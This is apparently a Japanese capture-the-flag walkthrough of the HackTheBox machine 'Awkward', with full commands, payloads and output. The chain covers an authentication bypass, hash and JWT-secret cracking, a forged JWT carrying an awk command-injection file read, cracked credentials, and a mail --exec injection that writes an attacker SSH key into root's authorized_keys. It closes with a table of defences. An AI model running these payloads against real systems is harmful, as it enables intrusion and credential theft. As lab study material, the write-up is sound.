HackTheBox: Awkward — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80のみ
→
22/80のみ
/api/staff-details 認証バイパス
token Cookie未送信でハッシュ全件取得
→
token Cookie未送信でハッシュ全件取得
hashcat + JWT弱鍵クラック
chris123 / 123beany123
→
chris123 / 123beany123
JWT偽造 + awk コマンドインジェクション
/api/all-leave LFI
→
/api/all-leave LFI
bean SSH
backup→xpadメモ→平文PW、user.txt ✓
→
backup→xpadメモ→平文PW、user.txt ✓
Store world-writable ディレクトリ
symlink + mail –exec 注入
→
symlink + mail –exec 注入
leave request トリガー
root権限 awk→mail 実行
→
root権限 awk→mail 実行
root SSH
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -sV -sC -p 22,80 10.129.228.81
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 80/tcp open http nginx |_http-title: Hat Valley
ℹ️
/etc/hosts に hat-valley.htb を登録すると Vue.js 製の SPA
(帽子屋「Hat Valley」の社内HRシステム) が表示される。
サブドメイン探索
BASH
wfuzz -u http://hat-valley.htb -H "Host: FUZZ.hat-valley.htb" \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 132
RESULT
000000081: 401 7 L 12 W 188 Ch "store"
ℹ️
store.hat-valley.htb を発見(Basic認証で保護)。/etc/hosts に追記。
PHASE 2
HR サイト調査 & API エンドポイント特定
クライアントサイド Vue.js ソースから API 一覧を把握
NOTE
ブラウザ開発者ツールでフロントエンドの JS を確認すると、以下の API が 定義されていることがわかる: GET /api/all-leave (引数なし) POST /api/submit-leave (reason, start, end) POST /api/login (username, password) GET /api/staff-details (引数なし) GET /api/store-status (url パラメータ) ルーティングガードは "token" Cookie が "guest" かどうかだけを見ており、 DevTools でこの Cookie を任意の文字列 (例: "0xdf") に書き換えるだけで ログイン画面をバイパスして /dashboard 等の画面自体は閲覧できてしまう (ただし裏側のAPI呼び出しは別途 JWT 検証が効くため、これだけではデータは 取得できない)。
PHASE 3
token Cookie 欠落認証バイパス & JWT 偽造
/api/staff-details の認証バイパスでハッシュ窃取
NOTE
各エンドポイントの Express サーバー側コード (後述の方法でソース入手) は
以下のロジックになっている:
const user_token = req.cookies.token
var authFailed = false
var user = null
if (user_token) {
const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
if (!decodedToken.username) { authFailed = true }
else { user = decodedToken.username }
}
if (authFailed) return res.status(401).json({Error: "Invalid Token"})
...
"token" Cookie が全く送られてこない場合、if(user_token) ブロック自体が
スキップされ authFailed は false のまま残る。/api/staff-details は
この user の中身を検証せず全件返す実装になっているため、Cookie を
一切送らないリクエストだけで認証を完全にバイパスできる。
BASH
curl -s http://hat-valley.htb/api/staff-details | jq
RESULT
[
{
"username": "christine.wool",
"password": "6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649",
"fullname": "Christine Wool", "role": "Founder, CEO", ...
},
{ "username": "christopher.jones", "password": "...", ... },
...
]
✅
認証バイパス成功。 全スタッフの無ソルト SHA-256 パスワードハッシュを窃取。
hashcat でパスワードをクラック
BASH
hashcat -m 1400 -a 0 staff_hashes.txt /usr/share/wordlists/rockyou.txt hashcat -m 1400 staff_hashes.txt /usr/share/wordlists/rockyou.txt --show
RESULT
6529fc6e...:christopher.jones の平文 → chris123
BASH
curl -s http://hat-valley.htb/api/login -H "Content-Type: application/json" \
-d '{"username":"christopher.jones","password":"chris123"}' -c cookies.txt
✅
christopher.jones としてログインでき、正規の署名付き JWT を取得。
API ドキュメント発見 (SSRF) とソースコード入手
NOTE
ダッシュボードの「Online Store Status」ボタンは /api/store-status?url=... を 叩く。url パラメータを操作すると SSRF が可能で、wfuzz でポートスキャンすると 127.0.0.1:3002 で稼働する Express の自動生成 API ドキュメントを発見できる。 このドキュメントには各エンドポイントの「サーバー側ソースコード」がそのまま 掲載されており (開発用ドキュメント生成ツールの設定ミス)、脆弱なロジックを 直接読める。
BASH
curl -s 'http://hat-valley.htb/api/store-status?url=%22http:%2F%2F127.0.0.1:3002%22'
RESULT (抜粋: /api/all-leave のソース)
const badInUser = bad.some(char => user.includes(char));
if (badInUser) { return res.status(500).send("Bad character detected."); }
exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", ...)
🚨
脆弱性発見。 JWT の
username フィールドの値が、記号のブラック
リストフィルタ (; & | > < * ? ` $ ( ) { } [ ] ! #) を通過した後、そのまま
awk '/<username>/' のパターン部分へ埋め込まれる。シングルクォート
' はブラックリストに含まれていないため、awk のコマンドライン構文自体を
壊してファイルパスを注入できる (GTFOBins awk の
ファイル読み取りテクニック)。JWT 署名鍵のクラック & 任意ユーザー名での JWT 偽造
BASH
# John The Ripper の jwt フォーマットで署名鍵をクラック john --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt john --show jwt.txt
RESULT
JWT secret: 123beany123
PYTHON (任意ペイロードを持つ JWT を自作)
import jwt
payload_user = "/' /etc/passwd '/dud" # awk構文を壊してファイル読み取りへ誘導
token = jwt.encode({"username": payload_user, "iat": "1644922420"},
"123beany123", algorithm="HS256")
✅
署名鍵が判明したため、
username フィールドに任意の文字列 (awk への
インジェクションペイロードを含む) を持つ JWT を自由に偽造できるようになった。
PHASE 4
awk コマンドインジェクション LFI → bean SSH → user.txt
任意ファイル読み取り (LFI) の実証
NOTE
偽造した username = "/' <読みたいファイル> '/dud" を JWT に埋め込むと、 サーバー側で実行される awk コマンドは実質的に以下と等価になる: awk '/' <file> '/dud' /var/www/private/leave_requests.csv シングルクォートによって awk のパターン部分が終了し、続く文字列が 「読み込むファイル名」として awk に渡る。'/dud' はダミーの2つ目の パターンで、これにより awk は指定ファイルの中身をそのまま標準出力へ 書き出す (GTFOBins の定番テクニック)。
BASH
curl -s http://hat-valley.htb/api/all-leave -b "token=$FORGED_JWT"
RESULT (/etc/passwd の中身がそのまま返る)
root:x:0:0:root:/root:/bin/bash
...
bean:x:1000:1000:,,,:/home/bean:/bin/bash
...
✅
任意ファイル読み取り成功。 一般ユーザー
bean の存在を確認。
bean のホームディレクトリを辿りバックアップスクリプトを発見
BASH
# .bashrc → 定期実行される backup_home.sh の存在を確認 curl -s http://hat-valley.htb/api/all-leave -b "token=$(forge /home/bean/.bashrc)" curl -s http://hat-valley.htb/api/all-leave -b "token=$(forge /home/bean/Documents/backup_home.sh)"
RESULT (backup_home.sh 抜粋)
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz ...
バックアップアーカイブを LFI でダウンロードし展開
BASH
curl -s http://hat-valley.htb/api/all-leave \ -b "token=$(forge /home/bean/Documents/backup/bean_backup_final.tar.gz)" \ -o bean_backup_final.tar.gz tar xzvf bean_backup_final.tar.gz # 外側のtar.gz tar xzvf bean_backup.tar.gz # さらに内側のtar.gz (二重圧縮)
RESULT
.config/xpad/content-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX が展開される
ℹ️
xpad は GNOME 向けの付箋アプリ。そのメモファイルが展開されたバックアップ内に
残っており、中身を確認すると SSH パスワードらしきメモが記載されている。
BASH
cat .config/xpad/content-*
RESULT
bean.hill
014mrbeanrules!#P
SSH ログイン & user.txt 取得
BASH
sshpass -p '014mrbeanrules!#P' ssh bean@10.129.228.81 "id; cat ~/user.txt"
RESULT
uid=1000(bean) gid=1000(bean) groups=1000(bean)
09b0f7e8d0723a52919a95fe5e9f2d37
user.txt — bean
09b0f7e8d0723a52919a95fe5e9f2d37
PHASE 5
Store の書込み可能ディレクトリ悪用 → root.txt
world-writable なディレクトリを発見
BASH (bean シェル内)
bean@awkward:~$ ls -ld /var/www/store/cart /var/www/store/product-details
RESULT
drwxrwxrwx 2 root root 4096 ... /var/www/store/cart drwxrwxrwx 2 root root 4096 ... /var/www/store/product-details
ℹ️
Store アプリの
cart_actions.php (add-to-cart 処理) は item パラメータ
(product-details 側のファイル名) の妥当性は検証するが、user パラメータ
(cart 側の書き込み先ファイル名) は検証しない。しかも root 権限で動く
リーブリクエスト処理スクリプトが leave_requests.csv の内容 (ユーザー名部分)
をメール件名にそのまま渡して mail コマンドを実行している
(pspy で確認済み: mail -s "Leave Request: <username>" christine)。
シンボリックリンクで leave_requests.csv への書き込み経路を作る
BASH
bean@awkward:~$ ln -sf /var/www/private/leave_requests.csv /var/www/store/cart/fakecart
ℹ️
cart 内のファイル (通常は各顧客のカート内容を保存するファイル) を、
機密ファイル
leave_requests.csv へのシンボリックリンクに差し替える。
add-to-cart 処理がこのファイルへ書き込む操作を行うと、実際には
leave_requests.csv が書き換えられる。
GTFOBins の mail –exec を仕込んだ悪性商品データを設置
BASH (公開鍵注入用スクリプトを事前配置)
bean@awkward:~$ echo "$(cat ~/.ssh/attacker_id_rsa.pub)" > /tmp/.awk_id_rsa.pub bean@awkward:~$ cat > /tmp/.awk_executeme.sh << 'EOF' #!/bin/bash mkdir -p /root/.ssh cat /tmp/.awk_id_rsa.pub >> /root/.ssh/authorized_keys chmod -R 700 /root/.ssh EOF bean@awkward:~$ chmod +x /tmp/.awk_executeme.sh
BASH (mail –exec ペイロードを仕込んだ商品データ)
bean@awkward:~$ cat > /var/www/store/product-details/999.txt << 'EOF' ***Hat Valley Product*** pwned --exec='!/tmp/.awk_executeme.sh' EOF
ℹ️
GTFOBins mail の
--exec=!<コマンド> フラグは、mail コマンドラインオプションとして
埋め込まれると任意コマンドを実行する。leave_requests.csv の「ユーザー名」
フィールドとしてこの文字列が渡ることで、root 権限で動く mail 呼び出しに
フラグとして注入される。
Store へ add-to-cart リクエストを送信
BASH
curl -u admin:'014mrbeanrules!#P' http://store.hat-valley.htb/cart_actions.php \ -d "item=999&user=fakecart&action=add_item"
ℹ️
Store の Basic 認証は bean のパスワードが使い回されている (admin:
014mrbeanrules!#P)。これで
fakecart (実体は leave_requests.csv への
シンボリックリンク) に悪性ペイロードが書き込まれる。
christopher.jones で新規リーブリクエストを送信し root 処理をトリガー
BASH
token=$(curl -s http://hat-valley.htb/api/login -H "Content-Type: application/json" \
-d '{"username":"christopher.jones","password":"chris123"}' | jq -r .token)
curl -s http://hat-valley.htb/api/submit-leave -H "Content-Type: application/json" \
-b "token=$token" \
-d '{"reason":"Testing","start":"01/01/2023","end":"01/02/2023"}'
RESULT
Successfully added new leave request
# root権限のcron/バックグラウンド処理がleave_requests.csvを検知し
# awk '/christopher.jones/' ... → mail 呼び出しを実行
# leave_requests.csv内の悪性行 ("pwned --exec=...") も一緒に処理され
# mail コマンドへ --exec フラグとして注入される
⚠️
本家ウォークスルーは
/api/leave ではなく /api/submit-leave が
正しいエンドポイント名であると明記している (API ドキュメント自動生成ツールの
ソースコードにも明記あり)。エンドポイント名を誤ると 404 でトリガーされず
処理全体が失敗する。
SSH 公開鍵認証で root ログイン & root.txt 取得
BASH
# root/.ssh/authorized_keys への公開鍵追記が反映されるまで少し待つ sleep 10 ssh -i attacker_id_rsa root@10.129.228.81 "cat /root/root.txt"
RESULT
f7ef9e574fbb0f67418379f139ec98a2
root.txt — root (mail --exec flag injection)
f7ef9e574fbb0f67418379f139ec98a2
✅
権限昇格成功。 root 権限で実行されたスクリプトが攻撃者の公開鍵を
/root/.ssh/authorized_keys に追記し、SSH 公開鍵認証で直接 root シェルを取得できた。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — bean
09b0f7e8d0723a52919a95fe5e9f2d37
root.txt — root (mail --exec flag injection)
f7ef9e574fbb0f67418379f139ec98a2
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| token Cookie 欠落認証バイパス | /api/staff-details | 全スタッフのパスワードハッシュ漏洩 | High | Cookie 自体を送らないと JWT 検証ロジックがスキップされ authFailed が false のまま通過 |
| JWT 弱い署名鍵 | HRシステムのJWT (HS256) | 任意ユーザーとしてのJWT偽造 | Medium | John The Ripper の jwt フォーマット + rockyou.txt で署名鍵 "123beany123" をクラック |
| awk コマンドインジェクション (LFI) | /api/all-leave | 任意ファイル読み取り | Critical | ブラックリストがシングルクォートを見落としており、JWTのusernameフィールドでawkのパターン構文を破壊しGTFOBinsのファイル読み取り技法を注入 |
| world-writable ディレクトリ + mail --exec 注入 | /var/www/store/{cart,product-details} + root権限mail呼び出し | root権限昇格 | Critical | symlinkで機密ファイルへの書込み経路を作り、GTFOBinsのmail --execフラグをleave_requests.csv経由でroot権限のmailコマンドへ注入 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + サブドメインFuzz | 22/80、store.hat-valley.htb発見 |
| 2 | API調査 | Vue.jsソース解析 + SSRFでAPIドキュメント発見 | 全エンドポイント仕様とサーバー側ソースコード入手 |
| 3 | 認証バイパス+クラック | Cookie欠落バイパス + hashcat + John | christopher.jones の正規JWT、署名鍵"123beany123" |
| 4 | LFI+横展開 | awkコマンドインジェクション + バックアップ展開 | user.txt 取得 (bean) |
| 5 | 権限昇格 | symlink + mail --exec 注入 | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 認証トークンの「存在確認」と「検証」のロジックが分離しており、トークン未送信時に検証自体がスキップされる | 「トークンが存在しない」ことと「トークンが無効」であることを同じ扱い (常に401拒否) にする。デフォルト拒否 (fail-closed) を徹底する。 |
| JWT の署名鍵が弱い・辞書に含まれる文字列 | 署名鍵は十分なエントロピーを持つランダム値を使用し、定期的にローテーションする。 |
| ユーザー制御の値をコマンドライン文字列へ直接埋め込み、記号のブラックリストだけで対策しようとしている (シングルクォート漏れ) | シェルコマンドを動的に組み立てず、引数配列を渡す exec 系API (execFile等) を使う。ブラックリストでなくホワイトリスト (英数字のみ許可等) で検証する。 |
| アプリケーションディレクトリの一部が world-writable になっている | Webアプリが書き込む必要のあるディレクトリは実行ユーザーのみに権限を絞り、symlink攻撃を防ぐため書き込み時に realpath 検証やO_NOFOLLOWを使う。 |
| ユーザー制御可能な値 (leave_requests.csv内のユーザー名) をroot権限プロセスの外部コマンド引数にそのまま渡している | root権限で実行するスクリプトは外部コマンドへ渡す値を厳格にサニタイズ・検証する。可能な限りroot権限での外部コマンド実行自体を避ける。 |

